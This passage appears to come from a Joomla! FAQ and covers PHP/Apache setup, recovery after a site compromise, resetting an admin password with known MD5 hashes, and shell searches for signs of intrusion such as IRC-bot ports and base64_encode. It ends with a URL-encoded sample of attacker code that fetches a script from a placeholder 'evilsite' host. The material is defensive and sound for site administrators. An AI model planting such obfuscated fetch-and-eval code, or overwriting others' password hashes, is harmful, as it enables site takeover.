&amp;lt;a href=&amp;quot;http://joomlacode.org/gf/project/jts/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Download JTS Here&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Health, Installation and Security Audit&amp;lt;/b&amp;gt; (HISA) is a single standalone script that provides purely configuration information.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;http://joomlacode.org/gf/project/hisa/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Download HISA Here&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;http://forum.joomla.org/index.php/topic,136328.0.html&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Forum Discussion Here&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;http://www.joomlatutorials.com/faq/60.html&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;How to TroubleShoot A Joomla! Installation&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Another &amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;Indirect method&amp;lt;/span&amp;gt;,&lt;br /&gt;
and possibly not 100% reliable, is that if you are unable to make use&lt;br /&gt;
of .htaccess on Linux hosting and Apache based servers then you are&lt;br /&gt;
either running in CGI mode or your host has disabled the use of&lt;br /&gt;
.htaccess even if your server is running PHP as an Apache Module. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: maroon&amp;quot;&amp;gt;Remove these files immediately after use, the information contained in their&lt;br /&gt;
output is extensive and explicit regarding your PHP and server&lt;br /&gt;
configurations, it will help those wishing to cause your site harm&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;  &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;For those wishing to know more about &amp;amp;quot;How To...&amp;amp;quot;&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as an Apache module&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure Apache to load PHP as a module to &amp;lt;i&amp;gt;&#039;parse&#039;&amp;lt;/i&amp;gt;&lt;br /&gt;
your PHP scripts, the httpd.conf needs to be modified, typically found&lt;br /&gt;
in &amp;amp;quot;c:\Program Files\Apache Group\Apache\conf\&amp;amp;quot; or &amp;amp;quot;/etc/httpd/conf/&amp;amp;quot;.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Search for the section of the file that has a series of commented out&lt;br /&gt;
&amp;amp;quot;LoadModule&amp;amp;quot; statements. (Statements prefixed by the hash &amp;amp;quot;#&amp;amp;quot; sign are&lt;br /&gt;
regarded as having been commented out.) If PHP is running in &amp;amp;quot;Apache&lt;br /&gt;
Module&amp;amp;quot; Mode you should see something very similar to the following;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module &amp;amp;quot;c:/php/php4apache.dll&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 1.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php4.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 2.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php4.c    &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Don&#039;t worry that you can&#039;t find a &amp;amp;quot;mod_php4.c&amp;amp;quot; or &amp;amp;quot;mod_php5.c&amp;amp;quot; file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;If you&#039;re using Apache 2.x, you do not have to insert the AddModule directive. It&#039;s no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now find the &amp;amp;quot;AddType&amp;amp;quot; section in the file, and add the following line after the last &amp;amp;quot;AddType&amp;amp;quot; statement:&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you need to support other file types, like &amp;amp;quot;.php3&amp;amp;quot; and &amp;amp;quot;.phtml&amp;amp;quot;, simply add them to the list, like this:&amp;lt;&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run a syntax check and if all is ok, restart Apache...&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as a CGI binary&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure PHP to run as a CGI, again you will need to configure the&lt;br /&gt;
httpd.conf, but confirm that the above settings are not also&lt;br /&gt;
configured, unless you now what you are doing you can generate yourself&lt;br /&gt;
&amp;amp;quot;HTTP 500&amp;amp;quot; errors. Search your Apache configuration file for the&lt;br /&gt;
&amp;amp;quot;ScriptAlias&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Add the following line below after the ScriptAlias for &amp;amp;quot;cgi-bin&amp;amp;quot;. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The location will depend on where PHP is installed on your system, you&lt;br /&gt;
should substitute the appropriate path in place of &amp;amp;quot;c:/php/&amp;amp;quot; (for&lt;br /&gt;
example, &amp;amp;quot;c:/Program Files/php/&amp;amp;quot;).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ScriptAlias /php/ &amp;amp;quot;c:/php/&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apache&lt;br /&gt;
again needs to be configured for the PHP MIME type. Search for the&lt;br /&gt;
&amp;amp;quot;AddType&amp;amp;quot; section, and add the following line after it:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
As&lt;br /&gt;
in the case of running PHP as an Apache module, you can add whatever&lt;br /&gt;
extensions you want Apache to recognise as PHP scripts, such as:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Next,&lt;br /&gt;
you will need to tell the server to execute the PHP executable each&lt;br /&gt;
time it encounters a PHP script. Add the following below any existing&lt;br /&gt;
entries in the &amp;amp;quot;Action&amp;amp;quot; section.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Action application/x-httpd-php &amp;amp;quot;/php/php.exe&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
If&lt;br /&gt;
you notice, we have used the &amp;amp;quot;ScriptAlias&amp;amp;quot; reference, &amp;amp;quot;/php/&amp;amp;quot; portion&lt;br /&gt;
will be recognised as the scriptAlias configured above, this is sort a&lt;br /&gt;
path alias which will correlate to your PHP installation path&lt;br /&gt;
configured previously. &amp;lt;i&amp;gt;In other words, don&#039;t put &amp;amp;quot;c:/php/php.exe&amp;amp;quot;&lt;br /&gt;
or &amp;amp;quot;c:/Program Files/php/php.exe&amp;amp;quot; in that directive, put&lt;br /&gt;
&lt;br /&gt;
&amp;amp;quot;/php/php.exe&amp;amp;quot;, Apache WILL work it out if correctly configured.&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Configuring the Default Index Page&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
This section applies to all users, whether you are loading PHP as a module&lt;br /&gt;
or running it as a CGI binary, and has been seen often enough to&lt;br /&gt;
warrant a mention.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
If you want to make your PHP script execute&lt;br /&gt;
as the default page for a directory, you have to add another line to&lt;br /&gt;
the &amp;amp;quot;httpd.conf&amp;amp;quot;. Simply search for the line in the file that begins&lt;br /&gt;
with a &amp;amp;quot;DirectoryIndex&amp;amp;quot; and add &amp;amp;quot;index.php&amp;amp;quot; to the list of files on&lt;br /&gt;
that line. For example, if the line used to be:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;change it to&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.html index.php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you still wish .html files to be executed before .php files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.php index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you wish .php files to be executed before .html files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
The next time you access the site or a directory within a site without a&lt;br /&gt;
filename, Apache will &amp;amp;quot;auto-magically&amp;amp;quot; deliver &amp;amp;quot;index.php&amp;amp;quot; if&lt;br /&gt;
available, or &amp;amp;quot;index.html&amp;amp;quot; if &amp;amp;quot;index.php&amp;amp;quot; is not available.&lt;br /&gt;
&lt;br /&gt;
== Why shouldn&#039;t I use PHP safe_mode? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.&lt;br /&gt;
&lt;br /&gt;
The Joomla! core works fine with or without PHP safe_mode. The one execption to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.&lt;br /&gt;
&lt;br /&gt;
Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;From the official PHP site&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&amp;quot;The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren&#039;t very realistic, many people, especially ISP&#039;s, use safe mode for now.&amp;quot;&#039;&#039; &lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]&lt;br /&gt;
&lt;br /&gt;
= Development =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How do I setup a secure demo site? ==&lt;br /&gt;
&lt;br /&gt;
In /includes/version.php look for:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 1;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 0;&lt;br /&gt;
&lt;br /&gt;
For a demo site it is advised to following:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 0;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 1;&lt;br /&gt;
&lt;br /&gt;
 $SITE = 0&lt;br /&gt;
 // Allows multiple user logins with only one account. By default Joomla! &lt;br /&gt;
 // allows only one active session per account as a security feature.&lt;br /&gt;
&lt;br /&gt;
 $RESTRICT = 1&lt;br /&gt;
 // Disables those logging in, both Front-end and Back-end from changing &lt;br /&gt;
 // user details - like password and username&lt;br /&gt;
&lt;br /&gt;
These settings are used on the official demo site http://demo.joomla.org&lt;br /&gt;
&lt;br /&gt;
You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.&lt;br /&gt;
&lt;br /&gt;
== How can I view a live site while developing, but hide it from others? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Login to the administrator section, and choose: Site &amp;gt; Global Configuration.&lt;br /&gt;
&lt;br /&gt;
2. The first option you&#039;ll see is is to set the site offline. Choose &amp;quot;Yes&amp;quot; and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;This site is down for maintenance. Please check back again soon. message instead.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
3. While you are logged into the &amp;quot;back end&amp;quot; administrator system, you can still view the &amp;quot;front end,&amp;quot; by choosing Site &amp;gt; Template &amp;gt; Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Site Recovery =&lt;br /&gt;
&lt;br /&gt;
== Help! My site&#039;s been compromised. Now what? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Change all relevant passwords:&#039;&#039;&#039; Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.&lt;br /&gt;
# &#039;&#039;&#039;Check raw logs:&#039;&#039;&#039; Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.&lt;br /&gt;
# &#039;&#039;&#039;List recently modified files:&#039;&#039;&#039; Before making any changes to your site, generate a list of recently modified files. Here&#039;s a php script that will list the files for you. Remove this script as soon as you have your list and don&#039;t publish a link to it!&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious newly-created files:&#039;&#039;&#039; Use this list to identify new files that don&#039;t belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious recently-modified files:&#039;&#039;&#039; Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Check for bogus CRON Jobs:&#039;&#039;&#039; Hacked cron jobs can be setup to reinfect your site over and over again.&lt;br /&gt;
# &#039;&#039;&#039;Coordinate with your host:&#039;&#039;&#039; If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.&lt;br /&gt;
# &#039;&#039;&#039;Delete the entire public_html directory:&#039;&#039;&#039; This is the best way to guarantee that every potential vulnerability in that site is removed.&lt;br /&gt;
# &#039;&#039;&#039;Delete related database records:&#039;&#039;&#039; This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.&lt;br /&gt;
# &#039;&#039;&#039;Reinstall everything:&#039;&#039;&#039; Use pre-crack backups. If you don&#039;t have good backups, go on to step 10.&lt;br /&gt;
# &#039;&#039;&#039;Reset critical passwords again:&#039;&#039;&#039; You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.&lt;br /&gt;
# &#039;&#039;&#039;Rebuild site:&#039;&#039;&#039; If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions&lt;br /&gt;
# &#039;&#039;&#039;Review security processes:&#039;&#039;&#039; Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.&lt;br /&gt;
# &#039;&#039;&#039;Review backup processes:&#039;&#039;&#039; If you don&#039;t already have one, add a dependable backup process to your site administration practices.&lt;br /&gt;
# &#039;&#039;&#039;Stay watchful:&#039;&#039;&#039; Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.&lt;br /&gt;
&lt;br /&gt;
==How do I reset an administrator password?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A few have reported in the forums that the following MD5 hashes didn&#039;t work for them. Some had better success with the directions found [http://www.joomlaspan.com/general/recover-super-administrator-status-of-joomla.php here].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x&#039;&#039;&#039;&lt;br /&gt;
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .&lt;br /&gt;
&lt;br /&gt;
2. Open the correct database and select the table, jos_users . (Change default table prefix, &#039;jos_&#039; to your table prefix if it is different.)&lt;br /&gt;
&lt;br /&gt;
3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)&lt;br /&gt;
&lt;br /&gt;
4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.&lt;br /&gt;
&#039;&#039;&#039;Warning:&#039;&#039;&#039; You must paste the password&#039;s hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.&lt;br /&gt;
&lt;br /&gt;
 password = &amp;quot;MD5 hash of password&amp;quot;&lt;br /&gt;
 ------------------------------------------------------&lt;br /&gt;
 admin = 21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
 secret = 5ebe2294ecd0e0f08eab7690d2a6ee69&lt;br /&gt;
 OU812 = 7441de5382cf4fecbaa9a8c538e76783&lt;br /&gt;
&lt;br /&gt;
5. Save the user record.&lt;br /&gt;
&lt;br /&gt;
6. Point a browser to your site and log in using the Super Administrator account you just modified.&lt;br /&gt;
&lt;br /&gt;
7. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will &#039;salt&#039; your new password, thus adding an additional level of security on top of the MD5 hash.&lt;br /&gt;
&lt;br /&gt;
Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating your own MD5 hash from a password of your choice&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you&#039;ve generated a hash with these tools.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Online MD5 hash creation tools&#039;&#039;&#039;&lt;br /&gt;
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/&lt;br /&gt;
* MD5er - http://www.md5er.com/&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Free MD5 utilities for download&#039;&#039;&#039;&lt;br /&gt;
* MD5 &amp;amp; Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp&lt;br /&gt;
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other MD5 tools&#039;&#039;&#039;&lt;br /&gt;
* There are many free online and downloadable MD5 utilities. Google &amp;quot;MD5 hash tool&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== How do I find exploits using the *NIX shell? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check the active processes&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;quot;ps&amp;quot; command to look for odd or unknown processes, if you aren&#039;t sure what to look for there, user &amp;quot;netstat -ae | grep irc&amp;quot; and/or &amp;quot;netstat -ea | grep 666&amp;quot; and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name &amp;quot;irc&amp;quot; listed against them, or may have &amp;quot;httpd&amp;quot; or sometimes other regular services names.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check crontab&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check for hidden files or directories&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check for hidden files or directories you dont expect to see, those starting with &amp;quot;.&amp;quot; (dots) and also look for &amp;quot;. &amp;quot; (dot, space) often favored to try and catch searches for hidden directories.&lt;br /&gt;
&lt;br /&gt;
Other examples of searches that may help pin down exploits and/or unexpected files and folders:&lt;br /&gt;
&lt;br /&gt;
 find /home -type f | xargs grep -l MultiViews&lt;br /&gt;
 find . -type f | xargs grep -l base64_encode &amp;lt;&amp;lt;&amp;lt; this can produce false positives, it is valid in many mail/graphics scripts&lt;br /&gt;
 find . -type f | xargs grep -l error_reporting&lt;br /&gt;
 find / -name &amp;quot;[Bb]itch[xX]&amp;quot;&lt;br /&gt;
 find / -name &amp;quot;psy*&amp;quot;&lt;br /&gt;
 ls -lR | grep rwxrwxrwx &amp;gt; listing.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What are these strange (URL-Encoded) characters doing in my code? ==&lt;br /&gt;
&lt;br /&gt;
Overview&lt;br /&gt;
&lt;br /&gt;
Attackers sometimes hide code away from prying eyes by URL Encoding it.&lt;br /&gt;
&lt;br /&gt;
The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.&lt;br /&gt;
&lt;br /&gt;
However, if you find odd, URL-encoded text in your site&#039;s files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.&lt;br /&gt;
&lt;br /&gt;
Here are some trivial, non-functioning examples of URL Encoded text:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Original&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;URL Encoded&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;this line has spaces&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;this%20line%20has%20spaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;eval(evil_script(http://www.evilsite/?evilscript.pl&amp;quot;));&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;%65val%28%65%76il_%73cri%70t&lt;br /&gt;
%28%68tt%70%3A//%77%77%77.&lt;br /&gt;
